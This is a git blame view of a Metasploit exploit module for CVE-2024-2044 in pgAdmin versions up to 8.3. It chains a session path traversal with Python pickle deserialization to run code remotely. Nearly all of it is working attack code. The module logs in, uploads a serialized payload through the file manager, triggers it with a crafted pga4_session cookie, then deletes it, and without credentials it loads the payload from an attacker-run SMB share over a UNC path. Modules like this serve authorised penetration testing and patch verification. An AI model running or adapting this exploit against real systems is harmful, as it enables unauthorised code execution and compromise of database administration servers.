Files
metasploit-gs/modules/exploits/multi/http/pgadmin_session_deserialization.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

203 lines
7.4 KiB
Ruby
Raw Normal View History

2024-03-27 15:29:05 -04:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2024-03-29 13:41:52 -04:00
prepend Msf::Exploit::Remote::AutoCheck
2024-03-27 15:29:05 -04:00
include Msf::Exploit::Remote::HttpClient
2024-03-28 17:27:48 -04:00
include Msf::Exploit::Remote::SMB::Server::Share
2025-04-11 15:55:46 -07:00
include Msf::Exploit::PgAdmin
2024-03-27 15:29:05 -04:00
def initialize(info = {})
2024-03-29 10:40:43 -04:00
super(
update_info(
info,
'Name' => 'pgAdmin Session Deserialization RCE',
'Description' => %q{
pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow
a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python
object to execute code within the context of the target application.
This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials
are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object
using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before
being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no
credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a
UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also
requires that insecure outbound guest access be enabled.
2024-03-29 13:41:52 -04:00
Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin
underwent changes in the 6.x versions and therefor, pgAdmin versions < 7.0 can not utilize the authenticated
technique whereby a payload is uploaded.
2024-03-27 15:29:05 -04:00
},
2024-03-29 10:40:43 -04:00
'Author' => [
'Spencer McIntyre', # metasploit module
'Davide Silvetti', # vulnerability discovery and write up
'Abdel Adim Oisfi' # vulnerability discovery and write up
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-2044'],
['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'],
['URL', 'https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d']
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' => {},
'Targets' => [
[ 'Automatic', {} ],
2024-03-27 15:29:05 -04:00
],
2024-03-29 10:40:43 -04:00
'DefaultOptions' => {
'SSL' => true,
2024-03-28 17:27:48 -04:00
'WfsDelay' => 5
2024-03-27 15:29:05 -04:00
},
2024-03-29 10:40:43 -04:00
'DefaultTarget' => 0,
2024-04-16 13:36:21 -04:00
'DisclosureDate' => '2024-03-04', # date it was patched, see: https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d
2024-03-29 10:40:43 -04:00
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
2024-03-27 15:29:05 -04:00
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
2024-03-29 10:40:43 -04:00
'Reliability' => [ REPEATABLE_SESSION, ]
2024-03-27 15:29:05 -04:00
}
2024-03-29 10:40:43 -04:00
)
)
2024-03-27 15:29:05 -04:00
register_options([
OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']),
2024-03-29 13:41:52 -04:00
OptString.new('USERNAME', [false, 'The username to authenticate with (an email address)', '']),
2024-03-28 17:27:48 -04:00
OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])
2024-03-27 15:29:05 -04:00
])
end
def check
2025-04-11 15:55:46 -07:00
check_version('8.4')
2024-03-27 15:29:05 -04:00
end
def exploit
2024-03-28 17:27:48 -04:00
if datastore['USERNAME'].present?
exploit_upload
else
exploit_remote_load
end
end
def exploit_remote_load
2024-03-29 10:40:43 -04:00
start_service
print_status('The SMB service has been started.')
2024-03-28 17:27:48 -04:00
# Call the exploit primer
self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
trigger_deserialization(unc)
end
def exploit_upload
2024-03-27 15:29:05 -04:00
res = send_request_cgi({
2024-03-29 10:40:43 -04:00
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
'method' => 'POST',
2024-03-27 15:29:05 -04:00
'keep_cookies' => true,
2024-03-29 10:40:43 -04:00
'vars_post' => {
'csrf_token' => csrf_token,
'email' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'language' => 'en',
2024-03-27 15:29:05 -04:00
'internal_button' => 'Login'
}
})
2024-03-29 10:40:43 -04:00
2024-03-27 15:29:05 -04:00
unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')
fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')
end
2024-03-29 13:41:52 -04:00
print_status('Successfully authenticated to pgAdmin')
2024-03-27 15:29:05 -04:00
2024-03-28 17:27:48 -04:00
serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
2024-03-27 15:29:05 -04:00
file_name = Faker::File.file_name(dir: '', directory_separator: '')
2024-03-28 09:26:03 -04:00
file_manager_upload(file_name, serialized_data)
2024-03-27 15:29:05 -04:00
trigger_deserialization("../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}")
2024-03-28 09:26:03 -04:00
file_manager_delete(file_name)
2024-03-27 15:29:05 -04:00
end
def trigger_deserialization(path)
2024-03-28 17:27:48 -04:00
print_status("Triggering deserialization for path: #{path}")
2024-03-27 15:29:05 -04:00
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login'),
2024-03-28 09:26:03 -04:00
'cookie' => "pga4_session=#{path}!"
2024-03-27 15:29:05 -04:00
})
end
2024-03-28 09:26:03 -04:00
def file_manager_init
2024-03-27 15:29:05 -04:00
res = send_request_cgi({
2024-03-29 10:40:43 -04:00
'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
'method' => 'POST',
2024-03-27 15:29:05 -04:00
'keep_cookies' => true,
2024-03-29 10:40:43 -04:00
'ctype' => 'application/json',
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
'data' => {
'dialog_type' => 'storage_dialog',
2024-03-27 15:29:05 -04:00
'supported_types' => ['sql', 'csv', 'json', '*'],
2024-03-29 10:40:43 -04:00
'dialog_title' => 'Storage Manager'
2024-03-27 15:29:05 -04:00
}.to_json
})
unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId'))
fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction')
end
2024-03-28 09:26:03 -04:00
trans_id
end
def file_manager_delete(file_path)
trans_id = file_manager_init
res = send_request_cgi({
2024-03-29 10:40:43 -04:00
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
'method' => 'POST',
2024-03-28 09:26:03 -04:00
'keep_cookies' => true,
2024-03-29 10:40:43 -04:00
'ctype' => 'application/json',
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
'data' => {
2024-03-28 09:26:03 -04:00
'mode' => 'delete',
'path' => "/#{file_path}",
'storage_folder' => 'my_storage'
}.to_json
})
unless res&.code == 200 && res.get_json_document['success'] == 1
fail_with(Failure::UnexpectedReply, 'Failed to delete file')
end
true
end
def file_manager_upload(file_path, file_contents)
trans_id = file_manager_init
2024-03-27 15:29:05 -04:00
form = Rex::MIME::Message.new
form.add_part(
file_contents,
'application/octet-stream',
'binary',
"form-data; name=\"newfile\"; filename=\"#{file_path}\""
)
2024-03-29 10:40:43 -04:00
form.add_part('add', nil, nil, 'form-data; name="mode"')
form.add_part('/', nil, nil, 'form-data; name="currentpath"')
form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')
2024-03-27 15:29:05 -04:00
res = send_request_cgi({
2024-03-29 10:40:43 -04:00
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
'method' => 'POST',
2024-03-27 15:29:05 -04:00
'keep_cookies' => true,
2024-03-29 10:40:43 -04:00
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
'data' => form.to_s
2024-03-27 15:29:05 -04:00
})
unless res&.code == 200 && res.get_json_document['success'] == 1
fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')
end
upload_path = res.get_json_document.dig('data', 'result', 'Name')
2024-03-29 13:41:52 -04:00
print_status("Serialized payload uploaded to: #{upload_path}")
2024-03-28 09:26:03 -04:00
2024-03-27 15:29:05 -04:00
true
end
end